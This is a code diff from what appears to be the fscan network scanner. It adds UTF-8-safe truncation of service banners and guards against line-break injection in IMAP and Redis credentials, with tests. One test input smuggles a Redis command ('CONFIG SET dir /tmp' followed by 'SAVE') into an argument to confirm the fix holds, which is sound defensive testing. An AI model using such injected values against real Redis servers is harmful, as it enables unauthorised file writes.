"io"
|
||||
"net"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
type chunkedSMBConn struct {
|
||||
data []byte
|
||||
chunkSize int
|
||||
}
|
||||
|
||||
func (c *chunkedSMBConn) Read(p []byte) (int, error) {
|
||||
if len(c.data) == 0 {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := len(c.data)
|
||||
if c.chunkSize > 0 && n > c.chunkSize {
|
||||
n = c.chunkSize
|
||||
}
|
||||
if n > len(p) {
|
||||
n = len(p)
|
||||
}
|
||||
copy(p, c.data[:n])
|
||||
c.data = c.data[n:]
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func (c *chunkedSMBConn) Write([]byte) (int, error) { return 0, nil }
|
||||
func (c *chunkedSMBConn) Close() error { return nil }
|
||||
func (c *chunkedSMBConn) LocalAddr() net.Addr { return nil }
|
||||
func (c *chunkedSMBConn) RemoteAddr() net.Addr { return nil }
|
||||
func (c *chunkedSMBConn) SetDeadline(time.Time) error { return nil }
|
||||
func (c *chunkedSMBConn) SetReadDeadline(time.Time) error { return nil }
|
||||
func (c *chunkedSMBConn) SetWriteDeadline(time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestReadSMBMessageHandlesChunkedReads(t *testing.T) {
|
||||
got, err := readSMBMessage(&chunkedSMBConn{data: []byte{0, 0, 0, 3, 'S', 'M', 'B'}, chunkSize: 1})
|
||||
if err != nil {
|
||||
t.Fatalf("readSMBMessage() error = %v", err)
|
||||
}
|
||||
if string(got) != "\x00\x00\x00\x03SMB" {
|
||||
t.Fatalf("readSMBMessage() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -244,10 +244,7 @@ func parseSNMPResponse(data []byte) string {
|
||||
|
||||
if value.Tag == asn1.TagOctetString || value.Tag == asn1.TagUTF8String {
|
||||
s := strings.TrimSpace(string(value.Bytes))
|
||||
if len(s) > 200 {
|
||||
s = s[:200]
|
||||
}
|
||||
return s
|
||||
return truncateRunes(s, 200)
|
||||
}
|
||||
return fmt.Sprintf("(type=%d, len=%d)", value.Tag, len(value.Bytes))
|
||||
}
|
||||
|
||||
@@ -550,9 +550,7 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf
|
||||
banner = i18n.GetText("telnet_password_only")
|
||||
} else if cleaned != "" {
|
||||
displayCleaned := cleaned
|
||||
if len(displayCleaned) > 50 {
|
||||
displayCleaned = displayCleaned[:50] + "..."
|
||||
}
|
||||
displayCleaned = truncateRunes(displayCleaned, 50)
|
||||
banner = i18n.Tr("telnet_custom_welcome", displayCleaned)
|
||||
} else {
|
||||
banner = i18n.GetText("telnet_remote_terminal_service")
|
||||
@@ -735,10 +733,7 @@ func (p *TelnetPlugin) extractEvidence(output string) string {
|
||||
if strings.HasPrefix(line, "echo ") || strings.HasPrefix(line, "id") || strings.HasPrefix(line, "show ") {
|
||||
continue
|
||||
}
|
||||
if len(line) > 100 {
|
||||
return line[:100] + "..."
|
||||
}
|
||||
return line
|
||||
return truncateRunes(line, 100)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
//go:build plugin_telnet || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
func TestTelnetExtractEvidenceTruncatesByRune(t *testing.T) {
|
||||
p := NewTelnetPlugin()
|
||||
got := p.extractEvidence("CMD_START\n" + strings.Repeat("界", 105) + "\nCMD_END")
|
||||
if !utf8.ValidString(got) || len([]rune(got)) != 103 || !strings.HasSuffix(got, "...") {
|
||||
t.Fatalf("extractEvidence() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
//go:build !plugin_selective || plugin_activemq || plugin_imap || plugin_pop3 || plugin_redis
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func hasLineBreak(s string) bool {
|
||||
return strings.ContainsAny(s, "\r\n")
|
||||
}
|
||||
|
||||
func rejectLineBreaks(values ...string) error {
|
||||
for _, value := range values {
|
||||
if hasLineBreak(value) {
|
||||
return fmt.Errorf("credential contains line break")
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func imapQuotedString(s string) (string, error) {
|
||||
if hasLineBreak(s) {
|
||||
return "", fmt.Errorf("imap credential contains line break")
|
||||
}
|
||||
return strconv.Quote(s), nil
|
||||
}
|
||||
|
||||
func buildIMAPLoginCommand(tag, username, password string) (string, error) {
|
||||
quotedUser, err := imapQuotedString(username)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
quotedPass, err := imapQuotedString(password)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fmt.Sprintf("%s LOGIN %s %s\r\n", tag, quotedUser, quotedPass), nil
|
||||
}
|
||||
|
||||
func buildRedisAuthCommand(password string) []byte {
|
||||
return buildRedisCommand("AUTH", password)
|
||||
}
|
||||
|
||||
func buildRedisCommand(args ...string) []byte {
|
||||
var b strings.Builder
|
||||
_, _ = fmt.Fprintf(&b, "*%d\r\n", len(args))
|
||||
for _, arg := range args {
|
||||
_, _ = fmt.Fprintf(&b, "$%d\r\n%s\r\n", len(arg), arg)
|
||||
}
|
||||
return []byte(b.String())
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
//go:build !plugin_selective || plugin_activemq || plugin_imap || plugin_pop3 || plugin_redis
|
||||
|
||||
package services
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestBuildRedisAuthCommandUsesBulkString(t *testing.T) {
|
||||
got := string(buildRedisAuthCommand("pa ss\r\nword"))
|
||||
want := "*2\r\n$4\r\nAUTH\r\n$11\r\npa ss\r\nword\r\n"
|
||||
if got != want {
|
||||
t.Fatalf("buildRedisAuthCommand() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildRedisCommandKeepsInjectedNewlinesInsideBulkString(t *testing.T) {
|
||||
got := string(buildRedisCommand("CONFIG", "SET", "dir", "/tmp\r\nSAVE"))
|
||||
want := "*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$10\r\n/tmp\r\nSAVE\r\n"
|
||||
if got != want {
|
||||
t.Fatalf("buildRedisCommand() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildIMAPLoginCommandQuotesCredentials(t *testing.T) {
|
||||
got, err := buildIMAPLoginCommand("a001", `user name`, `pa"ss\word`)
|
||||
if err != nil {
|
||||
t.Fatalf("buildIMAPLoginCommand() error = %v", err)
|
||||
}
|
||||
want := "a001 LOGIN \"user name\" \"pa\\\"ss\\\\word\"\r\n"
|
||||
if got != want {
|
||||
t.Fatalf("buildIMAPLoginCommand() = %q, want %q", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTextProtocolCredentialsRejectLineBreaks(t *testing.T) {
|
||||
if _, err := buildIMAPLoginCommand("a001", "user", "pa\nss"); err == nil {
|
||||
t.Fatal("buildIMAPLoginCommand() error = nil, want line break rejection")
|
||||
}
|
||||
if err := rejectLineBreaks("user", "pa\rss"); err == nil {
|
||||
t.Fatal("rejectLineBreaks() error = nil, want line break rejection")
|
||||
}
|
||||
if err := rejectLineBreaks("user", "pass"); err != nil {
|
||||
t.Fatalf("rejectLineBreaks() error = %v, want nil", err)
|
||||
}
|
||||
}
|
||||
@@ -76,9 +76,7 @@ func parseTFTPResponse(data []byte) (string, bool) {
|
||||
return "TFTP DATA response", true
|
||||
case 0x05:
|
||||
msg := strings.TrimRight(string(data[4:]), "\x00")
|
||||
if len(msg) > 160 {
|
||||
msg = msg[:160]
|
||||
}
|
||||
msg = truncateRunes(msg, 160)
|
||||
if msg == "" {
|
||||
msg = "error response"
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ package services
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
func TestTFTPReadRequestAndResponse(t *testing.T) {
|
||||
@@ -18,4 +19,9 @@ func TestTFTPReadRequestAndResponse(t *testing.T) {
|
||||
if !ok || !strings.Contains(banner, "not found") {
|
||||
t.Fatalf("unexpected tftp banner: %q ok=%v", banner, ok)
|
||||
}
|
||||
|
||||
banner, ok = parseTFTPResponse(append([]byte{0x00, 0x05, 0x00, 0x01}, []byte(strings.Repeat("界", 165))...))
|
||||
if !ok || !utf8.ValidString(banner) || !strings.HasSuffix(banner, "...") {
|
||||
t.Fatalf("unexpected tftp utf8 banner: %q ok=%v", banner, ok)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
package services
|
||||
|
||||
func truncateRunes(s string, maxRunes int) string {
|
||||
if maxRunes < 0 {
|
||||
return s
|
||||
}
|
||||
for i := range s {
|
||||
if maxRunes == 0 {
|
||||
return s[:i] + "..."
|
||||
}
|
||||
maxRunes--
|
||||
}
|
||||
return s
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
//go:build plugin_redis || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
func TestTruncateRunesKeepsUTF8Valid(t *testing.T) {
|
||||
got := truncateRunes(strings.Repeat("界", 205), 200)
|
||||
if !utf8.ValidString(got) {
|
||||
t.Fatalf("truncateRunes returned invalid utf8: %q", got)
|
||||
}
|
||||
if len([]rune(got)) != 203 || !strings.HasSuffix(got, "...") {
|
||||
t.Fatalf("truncateRunes() = rune len %d value %q", len([]rune(got)), got)
|
||||
}
|
||||
|
||||
got = truncateRunes(strings.Repeat("界", 55), 50)
|
||||
if !utf8.ValidString(got) || len([]rune(got)) != 53 || !strings.HasSuffix(got, "...") {
|
||||
t.Fatalf("truncateRunes(50) = rune len %d value %q", len([]rune(got)), got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRedisTruncateTextTruncatesByRune(t *testing.T) {
|
||||
got := NewRedisPlugin().truncateText(strings.Repeat("界", 55))
|
||||
if !utf8.ValidString(got) || len([]rune(got)) != 53 {
|
||||
t.Fatalf("truncateText() = %q", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
//go:build !plugin_selective || (plugin_dns && plugin_tftp && plugin_bacnet && plugin_snmp)
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
func TestDNSRootNSQueryAndResponse(t *testing.T) {
|
||||
const id uint16 = 0x1234
|
||||
|
||||
query := buildDNSRootNSQuery(id)
|
||||
if len(query) != 17 {
|
||||
t.Fatalf("query length = %d, want 17", len(query))
|
||||
}
|
||||
if got := binary.BigEndian.Uint16(query[0:2]); got != id {
|
||||
t.Fatalf("query id = %#x, want %#x", got, id)
|
||||
}
|
||||
if got := binary.BigEndian.Uint16(query[13:15]); got != 2 {
|
||||
t.Fatalf("query type = %d, want NS(2)", got)
|
||||
}
|
||||
|
||||
response := make([]byte, 12)
|
||||
binary.BigEndian.PutUint16(response[0:2], id)
|
||||
binary.BigEndian.PutUint16(response[2:4], 0x8183)
|
||||
binary.BigEndian.PutUint16(response[4:6], 1)
|
||||
binary.BigEndian.PutUint16(response[6:8], 2)
|
||||
binary.BigEndian.PutUint16(response[8:10], 3)
|
||||
binary.BigEndian.PutUint16(response[10:12], 4)
|
||||
|
||||
banner, ok := parseDNSResponse(response, id)
|
||||
if !ok {
|
||||
t.Fatal("expected DNS response to parse")
|
||||
}
|
||||
for _, want := range []string{"rcode=3", "qd=1", "an=2", "ns=3", "ar=4"} {
|
||||
if !strings.Contains(banner, want) {
|
||||
t.Fatalf("banner %q missing %q", banner, want)
|
||||
}
|
||||
}
|
||||
|
||||
if _, ok := parseDNSResponse(response, id+1); ok {
|
||||
t.Fatal("response with wrong id should not parse")
|
||||
}
|
||||
response[2] = 0
|
||||
if _, ok := parseDNSResponse(response, id); ok {
|
||||
t.Fatal("query packet should not parse as response")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTFTPRequestAndResponseParsing(t *testing.T) {
|
||||
req := buildTFTPReadRequest("probe")
|
||||
want := []byte{0, 1, 'p', 'r', 'o', 'b', 'e', 0, 'o', 'c', 't', 'e', 't', 0}
|
||||
if string(req) != string(want) {
|
||||
t.Fatalf("request = %v, want %v", req, want)
|
||||
}
|
||||
|
||||
if banner, ok := parseTFTPResponse([]byte{0, 3, 0, 1}); !ok || banner != "TFTP DATA response" {
|
||||
t.Fatalf("DATA parse = %q/%v", banner, ok)
|
||||
}
|
||||
if banner, ok := parseTFTPResponse([]byte{0, 5, 0, 1, 'n', 'o', 't', ' ', 'f', 'o', 'u', 'n', 'd', 0}); !ok || banner != "TFTP not found" {
|
||||
t.Fatalf("ERROR parse = %q/%v", banner, ok)
|
||||
}
|
||||
if banner, ok := parseTFTPResponse([]byte{0, 5, 0, 1, 0}); !ok || banner != "TFTP error response" {
|
||||
t.Fatalf("empty ERROR parse = %q/%v", banner, ok)
|
||||
}
|
||||
if _, ok := parseTFTPResponse([]byte{0, 9, 0, 1}); ok {
|
||||
t.Fatal("unknown opcode should not parse")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBACnetResponseParsing(t *testing.T) {
|
||||
data := []byte{0x81, 0x0a, 0x00, 0x08, 0x01, 0x20, 0x10, 0x00}
|
||||
if banner, ok := parseBACnetResponse(data); !ok || banner != "BACnet I-Am response" {
|
||||
t.Fatalf("BACnet parse = %q/%v", banner, ok)
|
||||
}
|
||||
if _, ok := parseBACnetResponse([]byte{0x81, 0x0a, 0x00, 0x09, 0x01, 0x20, 0x10, 0x00}); ok {
|
||||
t.Fatal("bad BACnet length should not parse")
|
||||
}
|
||||
if _, ok := parseBACnetResponse([]byte{0x82, 0x0a, 0x00, 0x06, 0x10, 0x00}); ok {
|
||||
t.Fatal("bad BACnet marker should not parse")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSNMPBuildersAndCommunityList(t *testing.T) {
|
||||
req := buildSNMPGetRequest("public", []int{1, 3, 6, 1, 2, 1, 1, 1, 0})
|
||||
if len(req) == 0 || req[0] != 0x30 {
|
||||
t.Fatalf("SNMP request should be an ASN.1 sequence, got %v", req)
|
||||
}
|
||||
if got := parseSNMPResponse(nil); got != "" {
|
||||
t.Fatalf("nil SNMP response = %q, want empty", got)
|
||||
}
|
||||
|
||||
cfg := common.NewConfig()
|
||||
cfg.Credentials.Passwords = []string{"private", "custom", "public"}
|
||||
communities := NewSNMPPlugin().buildCommunityList(cfg)
|
||||
if !containsString(communities, "public") || !containsString(communities, "private") || !containsString(communities, "custom") {
|
||||
t.Fatalf("community list missing expected entries: %v", communities)
|
||||
}
|
||||
if countString(communities, "public") != 1 || countString(communities, "private") != 1 {
|
||||
t.Fatalf("community list should deduplicate entries: %v", communities)
|
||||
}
|
||||
}
|
||||
|
||||
func containsString(values []string, target string) bool {
|
||||
return countString(values, target) > 0
|
||||
}
|
||||
|
||||
func countString(values []string, target string) int {
|
||||
count := 0
|
||||
for _, value := range values {
|
||||
if value == target {
|
||||
count++
|
||||
}
|
||||
}
|
||||
return count
|
||||
}
|
||||
@@ -64,10 +64,7 @@ func parseZooKeeperResponse(data []byte) (string, bool) {
|
||||
lower := strings.ToLower(resp)
|
||||
if strings.Contains(lower, "zookeeper") || strings.Contains(lower, "zk_version") ||
|
||||
strings.Contains(lower, "mode:") || strings.Contains(lower, "not in the whitelist") {
|
||||
if len(resp) > 200 {
|
||||
resp = resp[:200]
|
||||
}
|
||||
return resp, true
|
||||
return truncateRunes(resp, 200), true
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
@@ -2,7 +2,11 @@
|
||||
|
||||
package services
|
||||
|
||||
import "testing"
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
func TestParseZooKeeperResponse(t *testing.T) {
|
||||
banner, ok := parseZooKeeperResponse([]byte("imok"))
|
||||
@@ -13,4 +17,10 @@ func TestParseZooKeeperResponse(t *testing.T) {
|
||||
if _, ok := parseZooKeeperResponse([]byte("hello")); ok {
|
||||
t.Fatal("unexpected match for non-zookeeper response")
|
||||
}
|
||||
|
||||
longResp := "zk_version\t" + strings.Repeat("界", 205)
|
||||
banner, ok = parseZooKeeperResponse([]byte(longResp))
|
||||
if !ok || !utf8.ValidString(banner) || len([]rune(banner)) != 203 {
|
||||
t.Fatalf("zookeeper truncation = %q ok=%v", banner, ok)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user